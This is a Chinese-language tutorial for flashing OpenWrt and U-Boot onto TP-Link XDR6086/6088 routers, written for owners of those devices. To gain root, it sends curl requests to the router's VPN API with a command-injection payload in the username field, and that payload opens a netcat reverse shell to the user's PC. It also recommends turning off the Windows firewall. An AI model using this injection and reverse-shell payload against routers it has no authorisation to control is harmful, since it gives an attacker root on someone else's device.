tp-link xdr6086 6088刷机openwrt uboot教程

前提

  • 本教程以xdr6086为例
  • win10
  • 刷机有风险

准备工作

  • Tftpd64 该软件在刷机过程中作为传输文件的服务器

  • netcat 用于监听端口并连接到路由器内部,使用:添加到系统变量里

  • git bash

  • 固件前往openwrt官网下载tplink_tl-xdr6088- 开头的四个文件

    xxx-uboot.fip
    xxx-recovery.itb
    xxx-preloader.bin
    xxx-sysupgrade.itb

  • c盘根目录创建files目录,将上述四个文件放入其中,如下图;

当然你也可以放入其他位置,前提你知道如何在git bash 切换目录。

刷机

设置路由器

  1. 路由器重置,在原版系统里或reset
  2. 将电脑连接到路由器 1G 的网口上,并设置电脑端的网卡固定 IP 为 192.168.1.254 (PS:必须设置为该 IP ,否则后面会无法载入 recovery 文件)
  3. 浏览器访问 192.168.1.1 进入路由器随便设置下进入后台上网设置页面
  4. F12 打开浏览器的开发者工具,点击到 网络 标签,点击左侧的任意一个 ds 请求,查看 标头 ,将 请求网站 中的 stok= 后面一直到 / 结束的值复制下来,示例如下

准备 TFTP 服务器

设置系统

关闭 media sensing 功能,这样在连接到电脑的设备重启时,才不会断连。否则之后在 uboot 阶段无法传输 recovery 镜像

复制代码
netsh interface ipv4 set global dhcpmediasense=disabled
netsh interface ipv6 set global dhcpmediasense=disabled

第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许。!!强烈建议直接关闭防火墙得了

设置tfpt64

设置文件目录:点击右侧 Browse 选择到固件所在的文件夹

设置网卡:在 Server interfaces 右侧下拉,选择和路由器连接的那个网卡(即 IP 为 192.168.1.254

获取 root 权限

  1. 以管理员打开cmd命令提示符,运行ncat -nvlp 4444监听端口

  2. 以管理员打开git bash执行命令将stock 值存入环境变量export stok=<stok值>

  3. 行以下命令,如果成功运行,则会返回{"vpn":{"name":"user_1"},"error_code":0}

    curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'

  4. 继续运行以下命令,如果成功运行,则会返回 {"error_code":0}

    curl http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"vpn":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'

  5. 此时,在 ncat 监听中,如果看到如下提示,则代表成功地开启了具有 root 权限的控制台命令行提示符:

  6. 如果没有看到,则重置路由器,重新开始

备份原厂固件(重要)

在上文获得了 root 权限的监听 cmd 窗口中执行以下命令

复制代码
#备份
dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
#获取md5用于校验(非必须)
md5sum /tmp/backup.img
#执行以下命令将固件传输到 Windows ,之后点击打开的 tftp 服务器,看到有文件在传输,等待传输完成
tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254
#在 git bash 命令行中执行以下命令获取固件的 md5 值,该值应当和第二步中获取的值相同
md5sum /c/files/backup.img

刷入uboot

  1. 改名:上传前,将 files 目录下的 xxx-uboot.fip 改名为 uboot.fip ,将 xxx-preloader.bin 改名为 preloader.bin (改名的唯一作用就是让命令看起来短一些)

  2. 在获得了 root 权限的监听 cmd 窗口中执行以下命令传输文件

    tftp -g -l /tmp/preloader.bin -r preloader.bin 192.168.1.254
    tftp -g -l /tmp/uboot.fip -r uboot.fip 192.168.1.254

获得了 root 权限的监听 cmd 窗口中执行以下命令

!!一条一条的执行,一定不能调换顺序!!!不然你将收获一块砖

复制代码
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/uboot.fip

tftp刷入镜像

recovery

uboot 写入完成后,请直接断电,在接上电源启动,然后观察 tftp 服务器,如果 files 下面的 xxx-recovery.itb 文件名刚好为 openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb 那么你会看到文件传输的动作,如下图

sysupgrade
  1. 打开路由器页面:在 recovery 文件上传完成后,路由器会马上启动 OpenWrt ,这时候在浏览器中输入 192.168.1.1 就可以打开 OpenWrt 的网页端,此刻的openwrt属于恢复模式(initramfs) 当你长按reset通电进入uboot也是这个模式,在这个模式直接不保留配置在线刷入其他openwrt固件即可。
  2. 上传 sysupgrade :点击 转到固件升级 ,再点击 刷写固件 按钮,将 xxx-sysupgrade.itb 文件上传上去并确定,最后继续,等待刷写完成(较慢),完成写入后会自动重新打开登录页面

刷回官方

237,l大等openwrt回到原厂:

参考\](https://www.right.com.cn/forum/f ... 279716\&pid=18323702) 1. 将备份的文件传到op的tmp目录,执行恢复 `dd of=/dev/mtdblock0 if=/tmp/backup.img bs=131072 conv=sync` 2. 重启后路由器会进入救援模式,刷入tp官网固件即可 刷入op或者回原厂全程没有修改factory分区,无需担心mac地址或者无线信号受到影响。 ##### 官方openwrt(uboot)回到原厂: 参考:https://forum.openwrt.org/t/addi ... xdr-6086/140637/105 1.打开mtd写入 opkg update opkg install kmod-mtd-rw insmod mtd-rw i_want_a_brick=1 2.上传`backup.img`到`/tmp`,之后拆分备份文件。 `dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8` 3.mtd命令写入mtd0分区,之后断电重启就会进入tp恢复模式 `mtd write /tmp/backup-mtd0.img /dev/mtd0`

相关推荐
sc.溯琛6 小时前
计算机网络:概论学习1
网络·智能路由器·php
忘忧记9 小时前
典型局域网组建方案简介
运维·网络·智能路由器
dragoooon3410 小时前
[Linux网络基础——Lesson11.「NAT & 代理服务 & 内网穿透」]
linux·网络·智能路由器
不悔哥11 小时前
路由器特性——网络状态检测
linux·c语言·网络·tcp/ip·智能路由器
忘忧记11 小时前
192.168.0.1和192.168.1.1的区别
智能路由器
win10系统11 小时前
网络速度慢、频繁断网的解决办法
网络·智能路由器
真正的醒悟11 小时前
图解网络10
网络·智能路由器
小李独爱秋1 天前
计算机网络经典问题透视:TCP的“误判”——非拥塞因素导致的分组丢失
服务器·网络·tcp/ip·计算机网络·智能路由器·php
Henry Zhu1231 天前
VPP中FIB(转发信息库)和VRF(虚拟路由转发)详解:从设计理念到实际应用
网络·计算机网络·云原生·云计算·智能路由器